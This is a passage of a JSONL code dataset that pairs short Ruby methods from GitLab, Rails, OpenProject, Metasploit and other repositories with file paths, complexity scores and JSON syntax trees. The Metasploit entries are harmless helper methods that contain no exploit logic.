end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"send_compliance_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AdministratorNotifications\"]},\"AccountComplianceMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[null,\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"soft_deleted_users\"]},{\"type\":\"send\",\"children\":[null,\"soft_deleted_users\"]}]}]}]},\"account_deleted\",{\"type\":\"send\",\"children\":[null,\"account\"]}]},\"deliver_later\"]}]}","id":"b889094c-869d-449d-96d4-93960546406c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/gdb.rb","start_line":184,"raw_source":"def handshake(features=GDB_FEATURES)\n    send_cmd features\n    read_response # lots of flags, nothing interesting\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"handshake\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"features\",{\"type\":\"const\",\"children\":[null,\"GDB_FEATURES\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"lvar\",\"children\":[\"features\"]}]},{\"type\":\"send\",\"children\":[null,\"read_response\"]}]}]}","id":"f1499c9b-756f-4b8e-9045-af06f27c5141"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_json_parsing.rb","start_line":63,"raw_source":"def check_cve_2013_0269\n    [:json, :json_pure].each do |name|\n      gem_hash = tracker.config.get_gem name\n      check_json_version name, gem_hash[:version] if gem_hash and gem_hash[:version]\n    end\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check_cve_2013_0269\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"sym\",\"children\":[\"json_pure\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gem_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"config\"]},\"get_gem\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gem_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gem_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_json_version\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gem_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]}]},null]}]}]}]}","id":"85e92484-501f-4be8-ae01-626218a3968a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/journals/item_component/details.rb","start_line":195,"raw_source":"def icon_aria_label\n          if journal.initial?\n            I18n.t(\"activities.work_packages.activity_tab.created\")\n          else\n            I18n.t(\"activities.work_packages.activity_tab.changed\")\n          end\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"icon_aria_label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journal\"]},\"initial?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"activities.work_packages.activity_tab.created\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"activities.work_packages.activity_tab.changed\"]}]}]}]}","id":"85446f14-1ee1-4f2b-bb94-820f715f1b2c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/generate_perf_testdata.rb","start_line":228,"raw_source":"def create_a_discussion_on_mr_api_req(project_path_or_id, mr_iid, body)\n        call_api(expected_response_code: 201) do\n          post Runtime::API::Request.new(@api_client, \"/projects/#{project_path_or_id}/merge_requests/#{mr_iid}/discussions\").url, \"body=\\\"#{body}\\\"\"\n        end\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_a_discussion_on_mr_api_req\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_path_or_id\"]},{\"type\":\"arg\",\"children\":[\"mr_iid\"]},{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_api\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_response_code\"]},{\"type\":\"int\",\"children\":[201]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Request\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@api_client\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_path_or_id\"]}]},{\"type\":\"str\",\"children\":[\"/merge_requests/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr_iid\"]}]},{\"type\":\"str\",\"children\":[\"/discussions\"]}]}]},\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"body=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]}","id":"8d68637d-36ad-40b9-ad2d-5fb2888e323a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/create_downstream_pipeline_service.rb","start_line":142,"raw_source":"def downstream_project\n      strong_memoize(:downstream_project) do\n        @bridge.downstream_project\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"downstream_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"downstream_project\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bridge\"]},\"downstream_project\"]}]}]}","id":"51a75155-0f78-41f9-b640-5dae6cb0423f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/counter_attribute.rb","start_line":133,"raw_source":"def increment_amount(attribute, amount)\n    counter = Gitlab::Counters::Increment.new(amount: amount)\n    increment_counter(attribute, counter)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_amount\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"amount\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Counters\"]},\"Increment\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"lvar\",\"children\":[\"amount\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"increment_counter\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"counter\"]}]}]}]}","id":"40877ffe-b3d3-4fd1-b338-02d7e8e041ec"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/length_validation_test.rb","start_line":203,"raw_source":"def test_validates_length_of_nasty_params\n    assert_raise(ArgumentError) { Topic.validates_length_of(:title, is: -6) }\n    assert_raise(ArgumentError) { Topic.validates_length_of(:title, within: 6) }\n    assert_raise(ArgumentError) { Topic.validates_length_of(:title, minimum: \"a\") }\n    assert_raise(ArgumentError) { Topic.validates_length_of(:title, maximum: \"a\") }\n    assert_raise(ArgumentError) { Topic.validates_length_of(:title, within: \"a\") }\n    assert_raise(ArgumentError) { Topic.validates_length_of(:title, is: \"a\") }\n  end","complexity_score":19.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_length_of_nasty_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is\"]},{\"type\":\"int\",\"children\":[-6]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"within\"]},{\"type\":\"int\",\"children\":[6]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"maximum\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"within\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]}]}]}]}]}","id":"bf26c879-0699-400d-890a-268c2d72ec53"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/account_saml_settings.rb","start_line":51,"raw_source":"def set_sp_entity_id\n    base_url = GlobalConfigService.load('FRONTEND_URL', 'http://localhost:3000')\n    self.sp_entity_id = \"#{base_url}/saml/sp/#{account_id}\"\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_sp_entity_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalConfigService\"]},\"load\",{\"type\":\"str\",\"children\":[\"FRONTEND_URL\"]},{\"type\":\"str\",\"children\":[\"http://localhost:3000\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sp_entity_id=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_url\"]}]},{\"type\":\"str\",\"children\":[\"/saml/sp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_id\"]}]}]}]}]}]}","id":"e3cbb8de-6ada-4a28-9a72-2e376657472d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/surrounding_space.rb","start_line":116,"raw_source":"def offending_empty_space?(config, left_token, right_token)\n        config == 'space' && !space_between?(left_token, right_token)\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"offending_empty_space?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"arg\",\"children\":[\"left_token\"]},{\"type\":\"arg\",\"children\":[\"right_token\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"==\",{\"type\":\"str\",\"children\":[\"space\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"space_between?\",{\"type\":\"lvar\",\"children\":[\"left_token\"]},{\"type\":\"lvar\",\"children\":[\"right_token\"]}]},\"!\"]}]}]}","id":"528d0676-9d92-4f01-a714-a5d5c054ec5e"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/global_search.rb","start_line":107,"raw_source":"def click_work_package(wp)\n      find_work_package(wp).click\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_work_package\",{\"type\":\"lvar\",\"children\":[\"wp\"]}]},\"click\"]}]}","id":"0d7cc33a-4d1e-41b6-b531-2888d7ec9f8e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/serializers/chat/admin_chat_index_serializer.rb","start_line":12,"raw_source":"def incoming_chat_webhooks\n      object[:incoming_chat_webhooks]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"incoming_chat_webhooks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"incoming_chat_webhooks\"]}]}]}","id":"ffbd7759-8439-43c9-a698-0d7b950e7fb5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/attachments/create_service.rb","start_line":85,"raw_source":"def log_attachment_saving_error(error)\n      message = \"Failed to save attachment: #{error&.class} - #{error&.message || 'Unknown error'}\"\n\n      OpenProject.logger.error message\n    end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"log_attachment_saving_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to save attachment: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]},{\"type\":\"str\",\"children\":[\"Unknown error\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"logger\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"29c40cd6-5857-4bdb-9892-bfc27794dd20"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/generators/open_project/plugin/plugin_generator.rb","start_line":67,"raw_source":"def lib_dir\n    @lib_dir ||= directory(\"lib\", lib_path)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lib_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@lib_dir\"]},{\"type\":\"send\",\"children\":[null,\"directory\",{\"type\":\"str\",\"children\":[\"lib\"]},{\"type\":\"send\",\"children\":[null,\"lib_path\"]}]}]}]}","id":"2a9c1b96-1836-498d-84ae-b4af4c540e87"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":865,"raw_source":"def test_country_zones_without_mappings\n    assert_includes ActiveSupport::TimeZone.country_zones(:sv), ActiveSupport::TimeZone[\"America/El_Salvador\"]\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_country_zones_without_mappings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"country_zones\",{\"type\":\"sym\",\"children\":[\"sv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"America/El_Salvador\"]}]}]}]}","id":"34a78bf7-0cc7-4fbe-a516-a75bc5bf32f1"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/trips/photos.rb","start_line":19,"raw_source":"def can_fetch_photos?\n    user.immich_integration_configured? || user.photoprism_integration_configured?\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"can_fetch_photos?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"immich_integration_configured?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"photoprism_integration_configured?\"]}]}]}","id":"c57605f1-b49a-49d7-a640-ef7f1c0cb02e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/gitmodules_parser.rb","start_line":38,"raw_source":"def section_started?\n          !@current_submodule.nil?\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"section_started?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_submodule\"]},\"nil?\"]},\"!\"]}]}","id":"52eaa2f6-a4e4-48e1-bab4-7fe68962ae7f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/quick_actions/target_service.rb","start_line":43,"raw_source":"def merge_request(type_iid)\n      return project.merge_requests.build if type_iid.nil?\n\n      MergeRequestsFinder.new(current_user, project_id: project.id).find_by(iid: type_iid) || project.merge_requests.build\n    end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type_iid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_iid\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"merge_requests\"]},\"build\"]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"lvar\",\"children\":[\"type_iid\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"merge_requests\"]},\"build\"]}]}]}]}","id":"e126ad2f-e4e8-4113-8ce1-6b3ebfbe8618"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":406,"raw_source":"def test_generator_skips_action_mailbox_when_skip_action_mailbox_is_given\n    run_generator [destination_root, \"--skip-action-mailbox\"]\n    assert_file \"#{application_path}/config/application.rb\", /#\\s+require\\s+[\"']action_mailbox\\/engine[\"']/\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generator_skips_action_mailbox_when_skip_action_mailbox_is_given\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--skip-action-mailbox\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application_path\"]}]},{\"type\":\"str\",\"children\":[\"/config/application.rb\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#\\\\s+require\\\\s+[\\\"']action_mailbox/engine[\\\"']\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"35ed54e3-b81f-4fd8-988b-ea63db09cec1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/avatarable.rb","start_line":125,"raw_source":"def add_avatar_to_batch\n    return unless avatar_mounter\n\n    avatar_mounter.read_identifiers.each { |identifier| retrieve_upload_from_batch(identifier) }\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"add_avatar_to_batch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"avatar_mounter\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"avatar_mounter\"]},\"read_identifiers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identifier\"]}]},{\"type\":\"send\",\"children\":[null,\"retrieve_upload_from_batch\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]}]}]}","id":"9de4c064-f4ac-4093-a0e4-ee9d609f4bae"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/unexpected_block_arity.rb","start_line":64,"raw_source":"def acceptable?(node)\n          !(included_method?(node.method_name) && node.receiver)\n        end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"acceptable?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"included_method?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]}]},\"!\"]}]}","id":"c0f0222b-856e-4566-845e-ad69d938c11a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":1196,"raw_source":"def cluster_to_respool(src)\n    return nil unless ems_has_clusters?\n\n    targets = src[:cluster].nil? ? find_all_ems_of_type(ResourcePool) : find_respools_under_ci(src[:cluster])\n    res_pool_with_path = get_ems_respool(get_ems_metadata_tree(src))\n    targets.each_with_object({}) { |rp, r| r[rp.id] = res_pool_with_path[rp.id] }\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"cluster_to_respool\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"src\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ems_has_clusters?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"targets\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cluster\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"find_all_ems_of_type\",{\"type\":\"const\",\"children\":[null,\"ResourcePool\"]}]},{\"type\":\"send\",\"children\":[null,\"find_respools_under_ci\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cluster\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res_pool_with_path\",{\"type\":\"send\",\"children\":[null,\"get_ems_respool\",{\"type\":\"send\",\"children\":[null,\"get_ems_metadata_tree\",{\"type\":\"lvar\",\"children\":[\"src\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rp\"]},{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rp\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_pool_with_path\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rp\"]},\"id\"]}]}]}]}]}]}","id":"5b2be3b1-deb0-43ec-a808-f68e6708096d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb","start_line":86,"raw_source":"def username\n    if datastore['USERNAME']\n      @username ||= datastore['USERNAME']\n    else\n      @username ||= detect_username\n    end\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@username\"]},{\"type\":\"send\",\"children\":[null,\"detect_username\"]}]}]}]}","id":"e70aab5a-ce7c-4b11-92fb-91f936469fc5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/stores/null_store_test.rb","start_line":24,"raw_source":"def test_write\n    assert_equal true, @cache.write(\"name\", \"value\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_write\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"value\"]}]}]}]}","id":"fb1365d8-c36a-4c40-9505-d2681b35857f"}
